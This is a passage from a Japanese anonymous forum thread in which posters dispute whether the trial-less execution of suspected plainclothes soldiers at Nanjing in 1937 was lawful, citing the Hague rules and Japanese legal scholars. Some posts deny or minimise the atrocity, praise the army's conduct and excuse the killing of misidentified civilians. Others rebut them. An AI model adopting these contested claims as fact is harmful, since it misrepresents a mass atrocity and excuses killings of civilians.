短期間便衣兵が出没捕虜になるとすれば南京地区のあちこちで常に銃声がとどろいて
いなければならない。なぜなら日本軍占拠後に便衣兵が抵抗するとすれば少人数で少人数を
攻撃するイラク型しかありえまい。便衣兵の捕虜は煮て食おうが焼いて食おうが
国際法違反ではないという主張以前に日本軍の南京占領後に大量の便衣兵が抵抗を
続けたということはありそうにない。それほどの抵抗があれば陣中日誌その他
新聞報道などに資料が残らないわけがない。


676 :名無しかましてよかですか?:03/09/08 21:48 ID:Rv/j/gCp
>>669
すりかえられたら反論できないの?


677 :名無しかましてよかですか?:03/09/09 17:28 ID:MugPeh+P
>>676
すりかえに反論してたらきりが無いでしょ。
議論をすり替え続けたら、負けることは無いかもしれないけど、勝つこともできない。
ちゃんと議論する気があるのなら(議論で勝つ気があるのなら)、すりかえはやめましょ。

678 :名無しかましてよかですか?:03/09/09 23:08 ID:7lsIatpW
>675
肯定派の気持ちとしては、人道的に抵抗してない兵士を殺すのは残酷だってとこかな。
気持ちはわからないではないが、国民党兵は実際に便衣戦術を取ってきたのだから
兵士の安全を守るために摘発するのは当然だ。
ただ、殺していいかと言われるとグレーゾーンだからどっちとも取りようがある。

国民党兵も便衣戦術なんて国際法違反を犯してるから投降できなかったって面も
あるし。
どっちにしても、肯定派の奇麗事しか頭に無いおめでたさには頭が下がる。

とにかく肯定派、否定派関わらず感情論はログの無駄なので書くなってことさ。

感情論を書いているのは肯定派ばかりだけどな。

679 :名無しかましてよかですか?:03/09/10 00:44 ID:ZN3YtHuJ
>>678
「そんな残酷な事を日本人がするわけ無い」「僕らのおじいさんが以下同文」
という人はいますよ(w

680 :名無しかましてよかですか?:03/09/10 00:46 ID:yoG4U9IN
>>678
小林よしのり・渡部昇一は感情論だからじゃま、でよろしいですか?

681 :名無しかましてよかですか?:03/09/10 02:03 ID:Djjc98uN
>>678
> 気持ちはわからないではないが、国民党兵は実際に便衣戦術を取ってきたのだから
> 兵士の安全を守るために摘発するのは当然だ。

だーかーらー、南京で便衣戦術があったとする証拠は未だかつて上がったことがないのだが。

敗残兵が便衣となって潜伏したってのは確実だがな。これだけでは便衣「兵」とは言えん。

682 :名無しかましてよかですか?:03/09/10 05:37 ID:dZ7RJ94e
まあ

どこの国でも

敵 前 逃 亡 は 銃 殺 な わ け だ が

683 : :03/09/10 17:29 ID:hBlrbAg8
>敗残兵が便衣となって潜伏したってのは確実だがな。

こういうのを「便衣兵戦術」と言うんです。

戦闘行為をしていなければ兵士ではないというような呆けた事は言わないで下さい。

684 :名無しかましてよかですか?:03/09/10 18:00 ID:Tgkj+Dgv
御託はどうでもいいんだが、要するに
「南京において、便衣の中国兵が日本兵を襲ったという事実はない」
というのが結論なわけだね。

685 :名無しかましてよかですか?:03/09/10 18:14 ID:uZGXdxN5
>>683
> 戦闘行為をしていなければ兵士ではないというような呆けた事は言わないで下さい。

バカだな。私服で戦闘行為を行う者を便衣兵というんだよ。
学生でも民間人でも関係なく、だ。

戦闘行為を行わないのであれば便衣兵ではない。



686 :名無しかましてよかですか?:03/09/11 04:21 ID:7FssrBw4
まあ

どこの国でも

敵 前 逃 亡 は 銃 殺 な わ け だ が




687 :名無しかましてよかですか?:03/09/11 05:49 ID:bDmZmc0s
ともかく東京裁判(軍事裁判)では捕虜処刑として断罪された。
松井岩根の罪状は「違法行為の防止責任」

688 :名無しかましてよかですか?:03/09/11 05:55 ID:9EF1WfTi
テス

689 :名無しかましてよかですか?:03/09/11 06:00 ID:bDmZmc0s
あと敗残兵でありか民間人であるか判らないもの(容疑者)を
裁判無しに処刑した。これに対し、軍事的必要性があると認められれば
容疑だけで処刑出来るという考えもあるが、軍事的必要性があると「攻撃
する側が」認めれば非情な殺戮も許されるとするなら、無差別爆撃も原爆
投下も認められるということになるのである。
つまり軍事的必要性論に立つ限り、軍事的必要性を認可する国際的機構が
無い以上、あらゆる不法行為、非情な殺戮も自軍の軍事的必要性のもとに
正当化出来るということである。

690 :689:03/09/11 06:35 ID:bDmZmc0s
誤字訂正
ありか→あるか

691 :名無しかましてよかですか?:03/09/11 07:13 ID:lzMVDLTv
>>685
>戦闘行為を行わないのであれば便衣兵ではない。

そういや名無し便所兵もこんな阿呆なことを言っていたな。
投降や停戦協定などをしていない限り、戦争状態は継続する。
戦争を終結させずに敵軍兵士が市民に化けて市街地に潜伏していれば、
それは立派な「ゲリラ行為」なんだよ。

>>689
>軍事的必要性があると「攻撃
>する側が」認めれば非情な殺戮も許されるとするなら、無差別爆撃も原爆
>投下も認められるということになるのである

ならない。
ハーグ陸戦法規前文に挿入されたマルテンス条項により、非人道的な行為を制限されているからね。

マルテンス条項は、毒ガスなどの非人道的な大量殺戮兵器の使用を禁止したハーグ陸戦法規では
制限できない「未知なる大量殺戮兵器(未知なのだから記載できなくて当然)」の使用を
人道的観点から使用してはならないという制限を加えたもの。

692 :名無しかましてよかですか?:03/09/11 11:04 ID:wY/xPQ8p
>>691
> 投降や停戦協定などをしていない限り、戦争状態は継続する。
> 戦争を終結させずに敵軍兵士が市民に化けて市街地に潜伏していれば、
> それは立派な「ゲリラ行為」なんだよ。

 どこの誰がそんな定義をしているのか教えて頂きたいもんだね(苦笑)

 で、国際法上の根拠は? まさかマルテンス条項まで挙げておいて、「ゲリラ行為」
だから、無裁判処刑でも合法だとか言わないよね?

> ハーグ陸戦法規前文に挿入されたマルテンス条項により、非人道的な行為を制限されているからね。
> マルテンス条項は、毒ガスなどの非人道的な大量殺戮兵器の使用を禁止したハーグ陸戦法規では
> 制限できない「未知なる大量殺戮兵器(未知なのだから記載できなくて当然)」の使用を
> 人道的観点から使用してはならないという制限を加えたもの。

 無知だね。ハーグ法規制定時に問題となったのは交戦者の資格だ。これで大国と小国が
大もめになって、結局マルテンス条項を入れることで決着したのだ。それが後々になって
核兵器などの禁止理由などに拡大解釈されるようになった。

 もっと勉強してから出直してこいやw

693 :味ぽん:03/09/11 11:41 ID:Dt9sz2jR
まあ、頭のいい奴が一生懸命勉強して
やっとなんとか「事件」として定義出来る程度の出来事ならば、
「南京事件」なんぞどうでも良い訳だが。

694 :名無しかましてよかですか?:03/09/11 13:58 ID:lzMVDLTv
>>692
>で、国際法上の根拠は? まさかマルテンス条項まで挙げておいて、「ゲリラ行為」
>だから、無裁判処刑でも合法だとか言わないよね?

ここにマルテンス条項は関係ないだろうが。
陸戦法規違反者だから合法だって言ってるんだよ。

>ハーグ法規制定時に問題となったのは交戦者の資格だ。

それだけ偉そうに言うんならソース出せや。

http://www.lib.fukuoka-u.ac.jp/~camp/Kanpo/no59/5901.htm

こんなふうにな。

695 :名無しかましてよかですか?:03/09/11 14:19 ID:fblCAkxQ
お前らヒマだね・・・。

ここ見てていつも思うこと。

否定派の資料はいつも1級資料

肯定派の資料はいつも4級以下資料

これで討論しようっつーんだから笑える。
頼むから「私は悪いことしました許して」的な告白うpすんのやめて。
笑っちゃう。

696 :名無しかましてよかですか?:03/09/11 14:32 ID:nXZ48O9X
>>695
そうは思わんけどな。

697 :名無しかましてよかですか?:03/09/11 16:33 ID:Pni3e37v
>ここにマルテンス条項は関係ないだろうが。
>陸戦法規違反者だから合法だって言ってるんだよ。

この掲示板をざっと眺めたけれど、無裁判処刑が合法であるという根拠は、
一つも挙がってないようだが?
それに対して、肯定派の一般的な論拠は、立作太郎であり、信夫淳平であり、
篠田治策だったはず。
否定派は何を根拠に挙げるんだろうか?

698 :名無しかましてよかですか?:03/09/11 16:40 ID:qVmpxnY3
>>695
いつもの印象操作ご苦労さん。
ここまでしなければならないほど、否定派は追い込まれてるんだね。

699 :味ぽん:03/09/11 16:42 ID:Dt9sz2jR
>697
そうだよな。裁判やっとけばよかったんだよ。
はい、お前、裁判長。おまえ、検察、おまえ、弁護ね、って感じで任命してな。
誰だって良いんだから。

まじめな日本人はそれが出来なかったんだよな。
本当の裁判をやるなら上海まで連れて行かなきゃ無理だもんなぁ。



700 :名無しかましてよかですか?:03/09/11 16:46 ID:wY/xPQ8p
>>694
“ブラッセル会議では、スイスのような小国が群民蜂起の合法性とその交戦資格を強く
主張し、英国、トルコ、スペインなどがそれを支持した。特にベルギーは、群民蜂起の
ごとき方法で国家を防衛することは権利であるばかりでなく義務である、とさえ主張し
た。しかし、ドイツは、これに強硬に反対し、合法的交戦者を正規軍のみに限るべきで
あるとしたのである。一八九九年のヘーグ会議の際にも、この議論は再び繰り返され、
小国と大国の意見が対立した。英国は、小国側の主張を支持して、占領地域の住民に群
民蜂起の権利を認める条項を加えるよう提案したが、否決された。このような対立を調
整する目的で、ロシアのマルテンスは、条約前文中に「採択された条項に含まれない場
合でも、交戦者は、文明国の間に確立している慣行、人道の法則及び公共良心の要求に
よって要求される国際法の保護と支配の下に立つ」旨の文言を挿入するよう提案した。
これが有名なマルテンス条項である。(竹本正幸『国際人道法の再確認と発展』)

http://www.lib.fukuoka-u.ac.jp/~camp/Kanpo/no59/5901.htmに書いてあるのは、
「【それ以後の】諸条約でしばしば引用されるこのマルテンス条項は新兵器の
使用制限に関する指導原則」と俺が「【後々になって】核兵器などの禁止理由などに
拡大解釈されるようになった」と言ったとおりだろ?w

パソコンの前で引き籠もってないで図書館でも行って勉強してこいw


701 :名無しかましてよかですか?:03/09/11 16:47 ID:wY/xPQ8p
>>694
> ここにマルテンス条項は関係ないだろうが。
> 陸戦法規違反者だから合法だって言ってるんだよ。

 だから国際法の根拠示せってんだよ。国際法上、戦時重犯の処罰は裁判を経た後で
なければ出来ない。立作太郎とか信夫淳平とかの当時の国際法の権威による解説は腐る
程過去ログでも出ているから、探してねw

 日本は裁判なんかやってないので無裁判処刑は違法。

702 :名無しかましてよかですか?:03/09/11 16:59 ID:qVmpxnY3
大体、否定派って
「陸戦法規には罰則がないので、法的拘束力はない!」
とか言っときながら、
「便衣兵は陸戦法規違反だから無裁判処刑しても合法!」
と平気で言うんだよな。
羞恥心がないんだろうか(ないんだろうけど)。

703 :味ぽん:03/09/11 17:11 ID:Dt9sz2jR
>702
>「陸戦法規には罰則がないので、法的拘束力はない!」
>「便衣兵は陸戦法規違反だから無裁判処刑しても合法!」

別に矛盾しませんが?

704 :名無しかましてよかですか?:03/09/11 17:14 ID:lzMVDLTv
>>702

戦争の法規例尊守の条件は、絶対に維持されなばならない。
戦争法を尊重しないゲリラが戦争法に基づく捕虜の待遇を要求するのは矛盾である。
これはゲリラに限らずすべての戦闘員に要求される行為である。
ゲリラ戦の特徴からみて特に問題となるのは、背信行為の禁止である。
戦争法がgood faithに基礎をおく法規であるため、この禁止が重要となる。
『国際人道法の再確認と発展』竹本正幸

701の奴が出している資料にもちゃんとこう書いているぞ。
しっかりと読め。

705 :名無しかましてよかですか?:03/09/11 17:56 ID:Pni3e37v
>>704
 その竹本の主張は、「ゲリラは違法であり、捕虜待遇を受けられない」
ということであり、「ゲリラは無裁判殺害して構わない」という主張では
ない。
 特に南京の場合は「ゲリラ」容疑者でなのだから、裁判は必要だな。

706 :味ぽん:03/09/11 17:59 ID:Dt9sz2jR
>705

そうだよな。裁判やっとけばよかったんだよ。
はい、お前、裁判長。おまえ、検察、おまえ、弁護ね、って感じで任命してな。
誰だって良いんだから。




707 :名無しかましてよかですか?:03/09/11 17:59 ID:nXZ48O9X
>>705
殺人犯を勝手に頃してはいかん、ということですな。

708 :味ぽん:03/09/11 18:08 ID:Dt9sz2jR
ここら辺で聞いておこう。

南京事件って「事件」かよ!?

709 :名無しかましてよかですか?:03/09/11 19:07 ID:5wZPYoFk
>41

東京裁判って、普通の法治国家じゃ認められない裁判ですね。それをひっくり返すも何もない。
それから、
法律の専門の人はいないかもしれませんが、『やってない証拠を出せ』とか『やった証拠はないかもしれないがやってない証拠もない』なんていったら法廷では爆笑の渦になるだけですよ。

法治国家の人らしくしましょう。
日本は、一党独裁の無法治国家ではありません。

710 :名無しかましてよかですか?:03/09/11 19:43 ID:lzMVDLTv
>>705

「戦争法を尊重しないゲリラが戦争法に基づく捕虜の待遇を要求するのは矛盾である。」

ってーことは、
「ゲリラだからといって無差別に殺すようなことなどせずに裁判を受けさせろ」
という要求自体が矛盾してるってこと。
この場合は逮捕した側の処断に委ねられる。
日本側が便衣兵は即時処刑としても、それは別に構わない。
その国の方針だからな。

「もし、誤認逮捕があって一般市民が犠牲になったとしたら?」

それは組織として一般市民を危険に晒した中国国民党の責任である。
便衣兵戦術などという「陸戦放棄違反」をするからこそそうなったのだからな。

711 :名無しかましてよかですか?:03/09/11 19:43 ID:aUZGFk4F
>>706
 誰でもいいわけではない。
 軍律法廷は、審判規則に従って行わなければ違法となる。

>>707
 「殺人犯」ではなく、「殺人の容疑者」というのが正しい。

712 :名無しかましてよかですか?:03/09/11 19:47 ID:I2Na8nfE
>>705
南京事件のゲリラの「容疑者」というのは裁判を経ていないからそう主張されている
のではなかったの?その論理だといままでの議論とは話が全然違ってくると思うけどね。

ここまでくれば君でも、「ゲリラ」と「ゲリラ容疑者」の区別は裁判ではないのは君も
わかるよね?つまり、いままで裁判を経ていないから「容疑者」だという主張はまった
く通用しなくなったわけだよ。これはおわかりかな?そして「ゲリラ」容疑者だから
裁判が必要だというのも、これでまったく意味のないものであることがわかるでしょうか?

なんせ、裁判なしでもゲリラの認定ができることを認めているわけだからね。

それはつまり、ゲリラ=交戦者とみなして裁判なしで処刑することも戦闘行為として
認定できることすら意味するのだよ。なぜならゲリラが戦闘行為者として認定できる
ならば処刑したところで遺法ではない。戦闘行為だからだ。そして裁判なしでもいい。
なぜならゲリラ認定に裁判はいらないからだね。wわかるかな〜これがw

特に南京の場合は正規兵が市民にまぎれて安全区に逃亡してるわけだからね。
ゲリラ扱いにされても文句いえるのかなあw ゲリラ扱いされてもしょうがないような
気もするけどね。そこで市民が巻き込まれたのなら、悪いのは中国側ではないのかな?w

713 :名無しかましてよかですか?:03/09/11 19:55 ID:I2Na8nfE
ゲリラ認定に裁判はいらない。
この論理的帰結としてゲリラ容疑者の裁判なし処刑遺法論は崩壊してます。
遺法論の主張には、裁判なしでは容疑者扱いであるという前提が必要です。
しかしおわかりのとおり、ゲリラ認定に裁判は必要ではありません。

全部現地の軍人が行っていいのです。あたりまえの話ですね。
ゲリラ認定を軍人が出来ないのであれば、誰がしていいのかわからしまへんがな。

714 :名無しかましてよかですか?:03/09/11 19:57 ID:I2Na8nfE
>>713
そして、ゲリラ=交戦者である以上、処刑=殺害は許されるのです。

715 :名無しかましてよかですか?:03/09/11 20:26 ID:2oWoPe+z
>>713
ダティーハリーの見過ぎだな君は

716 :名無しかましてよかですか?:03/09/11 20:30 ID:aUZGFk4F
>>712
>ここまでくれば君でも、「ゲリラ」と「ゲリラ容疑者」の区別は裁判で
>はないのは君もわかるよね?
ぜんぜん解らんな。「ここまでくれば」って、君が説明しているのは、俺
の主張と、今までの議論とが合わないということだけだが?
「だからどーしたの?」って感じだな。

>つまり、いままで裁判を経ていないから「容疑者」だという主張はまった
>く通用しなくなったわけだよ。これはおわかりかな?
「つまり〜通用しなくなった」と言われても、何の論理もなければ解らんよ。

>そして「ゲリラ」容疑者だから裁判が必要だというのも、これでまったく
>意味のないものであることがわかるでしょうか?
『「ゲリラ」と「ゲリラ容疑者」の区別は裁判ではない』というのが、どん
な論理なのか説明しなければ解らんな。

>なんせ、裁判なしでもゲリラの認定ができることを認めているわけだからね。
>それはつまり、ゲリラ=交戦者とみなして裁判なしで処刑することも戦闘行
>為として認定できることすら意味するのだよ。
それが可能なのは、ゲリラ行為の現行犯の場合だけだな。

717 :名無しかましてよかですか?:03/09/11 20:32 ID:aUZGFk4F
>>712

>なぜならゲリラが戦闘行為者として認定できるならば処刑したところで遺法
>ではない。戦闘行為だからだ。そして裁判なしでもいい。なぜならゲリラ認
>定に裁判はいらないからだね。wわかるかな〜これがw
その話の前提は、対象者が「ゲリラ」であることが明確な場合だ。
信夫淳平『上海戦と国際法』
 たゝ然しながら、彼等は暗中狙撃を事とし、事終るや闇から闇を傳つて逃去る
者であるから、その現行犯を捕ふることが甚だ六ケしく、會々捕へて見た者は犯
人よりも嫌疑者であるといふ場合が多い。嫌疑者でも現に銃器弾薬類を携帯して
居れば、嫌疑濃厚として之を引致拘禁するに理はあるが、漠然たる嫌疑位で之を
行ひ、甚しきは確たる證據なきに重刑に處するなどは、形勢危胎に直面し激情昂
奮の際たるに於て多少は已むなしとして斟酌すべきも、理に於ては穏當でないこ
と論を俟たない。

>特に南京の場合は正規兵が市民にまぎれて安全区に逃亡してるわけだからね。
>ゲリラ扱いにされても文句いえるのかなあw ゲリラ扱いされてもしょうがな
>いような気もするけどね。そこで市民が巻き込まれたのなら、悪いのは中国側
>ではないのかな?w
この話も、摘出されたものが便衣兵であるということ前提に立っているが、問題
にされているのは、摘出されたものが便衣兵ではないということが前提となって
いることを理解する必要があるだろう。

718 :名無しかましてよかですか?:03/09/11 20:51 ID:aUZGFk4F
>>710

>「戦争法を尊重しないゲリラが戦争法に基づく捕虜の待遇を要求す
>るのは矛盾である。」
>ってーことは、
>「ゲリラだからといって無差別に殺すようなことなどせずに裁判を
>受けさせろ」
>という要求自体が矛盾してるってこと。
「ゲリラだからといって」ではなく、「ゲリラ」なのかどうかを法的
に判定したうえで刑を施行すべきだと言っているんだよ。

>この場合は逮捕した側の処断に委ねられる。
>日本側が便衣兵は即時処刑としても、それは別に構わない。
>その国の方針だからな。
「構わない」のではなく、それは国際法違反だということ。

>「もし、誤認逮捕があって一般市民が犠牲になったとしたら?」
>それは組織として一般市民を危険に晒した中国国民党の責任である。
>便衣兵戦術などという「陸戦放棄違反」をするからこそそうなったの
>だからな。
結果的に戦時復仇を唱えたところで言い訳にしかならないよ。

719 :名無しかましてよかですか?:03/09/11 21:03 ID:lzMVDLTv
>「もし、誤認逮捕があって一般市民が犠牲になったとしたら?」
>それは組織として一般市民を危険に晒した中国国民党の責任である。
>便衣兵戦術などという「陸戦放棄違反」をするからこそそうなったの
>だからな。
結果的に戦時復仇を唱えたところで言い訳にしかならないよ。




・・・・・・・・・・・・・・・・・・・・・・・(゚Д゚) ハア??

720 :名無しかましてよかですか?:03/09/11 21:16 ID:aUZGFk4F
>>719
君には難しすぎたようだな。

721 :名無しかましてよかですか?:03/09/12 05:59 ID:ZBHSKEsg
>>720

オマエ、国語の点数悪かっただろ?(藁

722 :名無しかましてよかですか?:03/09/12 11:48 ID:KRPO09JU
容疑者とか裁判とか言ってる時点でOUTってことですな、チャンチャン。

723 :名無しかましてよかですか?:03/09/12 11:57 ID:yrTbt3Lf
ところが東京裁判(極東軍事裁判)では兵士の違法処刑が3万と認定
されたわけだな。

724 :終わった議論:03/09/12 15:09 ID:zWtxwPht
10 名前:~~-y(゚Д゚ 凸 ◆M3KAMI/nrU 投稿日:2003/04/25(金) 01:19 ID:ylmKmwiy
> それが、どの様な手続きを経ることで「便衣兵」となったのかだ。
 これに関しては、

207 名前:名無しかましてよかですか? 投稿日:2003/04/05(土) 20:20 ID:m6z6L54b
>>201
ちがいますね。日本軍は安全区で大勢の市民を集めて摘出を
行っていたんです。一億人の昭和史、などを見るとその摘出中の
写真がありますが、市民を行列させて憲兵が身体検査をする
緊急時でも戦闘中でもない光景ですよ。
これらの容疑者は当然裁判で処遇を決めなければなりません。

 1.大勢の市民を集めて
 2.【憲兵】が身体検査をする
                   という説がでている。

写真があるのであるからその写真が本物なら十分な証拠となりうる
憲兵によって、身体検査がなされ兵士と市民の区分がなされていたことは興味深い。


725 :終わった議論:03/09/12 15:10 ID:zWtxwPht
11 名前:~~-y(゚Д゚ 凸 ◆M3KAMI/nrU 投稿日:2003/04/25(金) 01:19 ID:ylmKmwiy
以上のことを裏付ける資料が存在する。
(資料の用いられ方は本来このように補助的に用いられるのが妥当である)

南京戦史P540〜555にかけて、このような記述がある。
○六旅団作命甲第138号 12月13日午後4寺30分
〜略〜
○南京城内掃蕩要領
〜略〜
3、〜遁走する敵は大部分、便衣に化すると判断せられるをもって、その疑いがある者はことごとく検挙し適宜の位置に監禁す。
〜略〜
○掃蕩実施に関する注意
1、軍司令官注意事項を一兵に至るまで徹底せしめたる上、掃蕩を実施すべし。
2、外国権益の建物を敵がこれを利用しある場合の外、立ち入りを厳禁す。重要なる箇所には歩哨を配置すべし。
3、掃蕩隊は残敵を掃蕩を任とし必ず将校(准尉を含む)の指揮する部隊をもって実施し、下士官兵以下、各個の行動を絶対に禁ず。
4、青壮年は全て敗残兵または便衣兵とみなし、全てこれを逮捕監禁すべし。(後略

さらに、中帰連のページだが・・・(という断りを入れておいて)

関東憲兵隊は、関東軍のもとで、憲兵が逮捕調査した人間を軍律会議にもかけずに任地指揮官の認可を得て処刑できる権限があった。
(これが、国際法違反であるという肯定派の論証はないので合法という所か)
http://www.ne.jp/asahi/kuma/radical/kenpei_kiroku.htm
ということは、あながち、無差別の処刑でもなかったような気はする。


726 :終わった議論:03/09/12 15:10 ID:zWtxwPht
12 名前:~~-y(゚Д゚ 凸 ◆M3KAMI/nrU 投稿日:2003/04/25(金) 01:29 ID:Zm3mpU+k

軍事裁判の手続きなしで便衣兵を処刑したことは、国際法違反ではない。
慣習国際法としては、むしろゲリラは即刻処罰することが普通であった。
ゲリラかどうか司法機関にかけて決めねばならぬという取り決めは、戦前も第二次大戦後しばらくたってからも、世界のどこにも存在しなかったのである。

戦後、1949年のジュネーブ諸条約[戦争犠牲者保護条約]で、初めてゲリラの捕虜資格が定められたが、その場合でも、実際に兵士を殺害したゲリラは即決処分され得た。
1964年から73年にかけてのベトナム戦争でゲリラやその容疑者の大量殺害が問題になり、
1977年のジュネーブ条約追加議定書で初めて、ゲリラの処刑には軍律裁判にてゲリラかどうかの認定を経ることが必要だと明記されるにいたったのである。





727 :名無しかましてよかですか?:03/09/12 15:12 ID:At5eCix9
否定派は、何も論理的な反論を示せないようだ。
>>719>>721みたいな反応ぐらいが関の山だろう。
>>722には論理がない。なぜ、「容疑者とか裁判とか言ってる時点でOUT」
なのかを説明しなければならないことが理解できていない。
>>723は、「だからどーしたの?」って感じ。

728 :終わった議論:03/09/12 15:12 ID:zWtxwPht
14 名前:~~-y(゚Д゚ 凸 ◆M3KAMI/nrU 投稿日:2003/04/25(金) 01:31 ID:Zm3mpU+k
12月13日時点において
 南京は陥落したのであって、日本軍が【占領したのではない】
 (安全区は、占領はおろか・占拠もいまだにしていない)

また、安全区には、陥落後、降伏(もしくは、これ以上抵抗しないという宣言)をなんらしていない便衣の支那が多数(2万以上)潜入している。
彼らは占領に抵抗する兵士であると(日本軍がその当時認識したと)考えるのが妥当である。(南京戦史P540〜555○南京城内掃蕩要領参照)
ゆえに、【安全区】は、【防守都市】であり【軍事目標主義が妥当】し、無差別攻撃が可能であった。
(敵軍の掃討作戦における直接戦闘地域であると見なせるので、直接戦闘地域として攻撃も、可能)
にもかかわらず、日本軍は、【人道的な配慮】から、総攻撃はおこなわず、便衣兵の摘出行為(1.大勢の市民を集めて 2.【憲兵】が身体検査をする)にでた
摘出作業につき、誤認処刑があることは、(安全区が防守都市である以上、軍事目標主義が妥当し、直接戦闘地域ともなりえるので、【その場合の被害と比べたたら】)やむをえない事であり
かかる、日本軍の行為は、「軍事上の必要」(【自軍の安全】・【治安の維持】)と「人道的考慮」のバランスを欠いていたということにはならない

       日本軍の行為は、むしろ【賞賛すべきもの】である

@支那側の数々の違法行為(通州事件を含む)に対する復仇の可能性、
A和平開城の勧告を拒絶して、結果的に自国の多数の良民や兵士を悲惨な状態に陥れた支那政府首脳部の責任、
B安全区に支那兵の潜入を許してしまった、安全区委員会の責任
C右の勧告を拒絶されながら、防守都市南京に対する無差別砲撃の権利の行使を自制した日本軍の態度、
 など関連して検討すべき法的問題点はなお少なくない。


729 :終わった議論:03/09/12 15:13 ID:zWtxwPht
15 名前:~~-y(゚Д゚ 凸 ◆M3KAMI/nrU 投稿日:2003/04/25(金) 01:31 ID:Zm3mpU+k
2ちゃんねる南京事件スレ倉庫
http://f9.aaacafe.ne.jp/~mukai/nankin2ch/nankin2ch.html
http://www.globetown.net/~mukai/nankin2ch/nankin2ch.html

南京事件と戦時国際法(その2)
法学博士 佐藤 和男
http://www.kokusairinri.org/database/22.html

南京陥落と国際法
北の狼投稿集:「便衣隊」考
http://www.interq.or.jp/sheep/clarex/jusinbello/index.html

国際法関係
http://www.geocities.co.jp/Bookend-Ryunosuke/8312/index.html

南京大虐殺はウソだ
http://www.history.gr.jp/nanking/index.html


刑事訴訟法の手法をとりいえれた 歴史学者 (注目の一冊)
著者は竹本忠雄・筑波大名誉教授、大原康男・国学院大教授ら
http://www.meiseisha.com/katarogu/nankin/sankei121000.htm


730 :名無しかましてよかですか?:03/09/12 15:15 ID:zWtxwPht
196 名前:名無しかましてよかですか? 投稿日:2003/06/30(月) 01:31 ID:Zg4ndX0L
戦時国際法提要(上)P395 信夫淳平
(違法な民衆軍について)
 かの如く民衆軍はすでに占領地となれる所においては適法の交戦者と認められざるのみならず、
条文に『敵の接近するに当たり』とあるところから推し未だ完全に占領地となるに至らずにして、
単に敵軍の侵入地たるところにありてとも、民衆軍(の編成)は認められず、その認められるのは敵軍の接近すると言う程度ところにおいてのみに限られるのである。
 したがって占領地においてはおいてはもちろん、敵軍のすでに潜入したる所においては、彼等(違法な民衆軍)の敵対行動は当然戦律犯に問われ、
敵手におちれば捕虜とせられずにして【直ちに殺害せらるべきものとなる】。 


注)便衣兵は、ハーグ上では、軍隊ではなく違法な民衆軍扱いになる 


731 :味ぽん:03/09/12 15:43 ID:N7SmIhOV
肯定派諸君は、何故にこれほど必死になって南京事件があった事にしたいのかな?

捕虜を裁判無しで処刑したケースは、他の戦場でもたくさんあったし、日本人の相当数も殺されている。
南京事件を「事件」と呼ぶなら、他の国際法違反があった戦場を全てに「○○事件」と名づけなさい。
そしてその被害者数を徹底検証しなさい。(戦場となった場所全てが事件現場となる事だろう)


732 :名無しかましてよかですか?:03/09/12 16:52 ID:3lFGv/Xs
>>731
まず、自分で調べろよ。

>捕虜を裁判無しで処刑したケースは、他の戦場でもたくさんあったし、日本人の相当数も殺されている。

ソースも出さずこんな主張をしておいて、他人に「調べろ」と要求。アホ?

日本軍の公式資料から推定した捕虜殺害の数は大体3万でどの研究者も
一致してるよね。
じゃあ、この規模で捕虜殺害が行われたケースが第二次世界大戦中に
どのくらいあったか、是非教えてくれ。
「他の戦場でもたくさんあった」というからには知ってるんだろ?
できないんだったら、「南京のケースは特殊なので事件と呼ぶに値する」
で結論。
(別に捕虜は三万人も殺されていない!ってことを論証してもらっても
構わないが)

733 :名無しかましてよかですか?:03/09/12 21:22 ID:fqvOiseY
>>732

その前に、第二次世界大戦に限る必要はないな。
以前であれば全て入れて考えようぜ。
「人類史上類を見ない」といわれてるわけだしさ

でだ

モンゴル・古代ローマ・中国歴代王朝・新大陸

他にもたくさんあるわけだが

734 :名無しかましてよかですか? :03/09/12 21:23 ID:FMNrLZPz
松井大将も日記の中で南京事件を認めているぞ。

735 :名無しかましてよかですか?:03/09/12 21:24 ID:fqvOiseY
>>734

拡大解釈乙

736 :名無しかましてよかですか?:03/09/12 21:31 ID:p3N2hrsw
test

737 :名無しかましてよかですか?:03/09/12 21:34 ID:gLPejC0H
南京大虐殺はなかったと主張する学者は実在しますか? もし実在するなら
名前を挙げてください。
m9('v`)ノ<挙げてください
www.ismusic.ne.jp/kouei34/xg0016471.mp3


738 :K−K:03/09/12 21:35 ID:p3N2hrsw

>>725
>南京戦史P540〜555にかけて、このような記述がある。
>○六旅団作命甲第138号 12月13日午後4寺30分
>3、〜遁走する敵は大部分、便衣に化すると判断せられるをもって、その疑いがあ
>る者はことごとく検挙し適宜の位置に監禁す。
>4、青壮年は全て敗残兵または便衣兵とみなし、全てこれを逮捕監禁すべし。(後略

 これは法的処置を指示しているのではありません。
 「作命」と書かれているとおり作戦命令であり、軍に行動を命令しているだけです。

>関東憲兵隊は、関東軍のもとで、憲兵が逮捕調査した人間を軍律会議にも
>かけずに任地指揮官の認可を得て処刑できる権限があった。
>(これが、国際法違反であるという肯定派の論証はないので合法という所か)
>http://www.ne.jp/asahi/kuma/radical/kenpei_kiroku.htm
>ということは、あながち、無差別の処刑でもなかったような気はする。

 これは、私も見たことがあるが、明かに国内法だったはずです。
 戦地で適用される戦時国際法と混同しても意味がありません。


739 :K−K:03/09/12 21:36 ID:p3N2hrsw
>>726
>軍事裁判の手続きなしで便衣兵を処刑したことは、国際法違反ではない。
>慣習国際法としては、むしろゲリラは即刻処罰することが普通であった。
>ゲリラかどうか司法機関にかけて決めねばならぬという取り決めは、戦前も第二次
>大戦後しばらくたってからも、世界のどこにも存在しなかったのである。

 この論は、すでに信夫淳平『上海戦と国際法』で明白に否定されています。
---- 引用 ----
 たゝ然しながら、彼等は暗中狙撃を事とし、事終るや闇から闇を傳つて逃去る
者であるから、その現行犯を捕ふることが甚だ六ケしく、會々捕へて見た者は犯
人よりも嫌疑者であるといふ場合が多い。嫌疑者でも現に銃器弾薬類を携帯して
居れば、嫌疑濃厚として之を引致拘禁するに理はあるが、漠然たる嫌疑位で之を
行ひ、甚しきは確たる證據なきに重刑に處するなどは、形勢危胎に直面し激情昂
奮の際たるに於て多少は已むなしとして斟酌すべきも、理に於ては穏當でないこ
と論を俟たない。
---- 終わり ----

740 :名無しかましてよかですか?:03/09/12 21:44 ID:3lFGv/Xs
>>733
意図的なすり替えだね。平気でこういうことやるやつがいるんだなあ……
そもそも>>731の味ぽんが「国際法違反」を論点にしているのだが。
ハーグの成立って何年か知ってる?


741 :K−K:03/09/12 21:50 ID:p3N2hrsw
>>728
>ゆえに、【安全区】は、【防守都市】であり【軍事目標主義が妥当】し、無差別
>攻撃が可能であった。
>(敵軍の掃討作戦における直接戦闘地域であると見なせるので、直接戦闘地域と
>して攻撃も、可能)
>にもかかわらず、日本軍は、【人道的な配慮】から、総攻撃はおこなわず、便衣
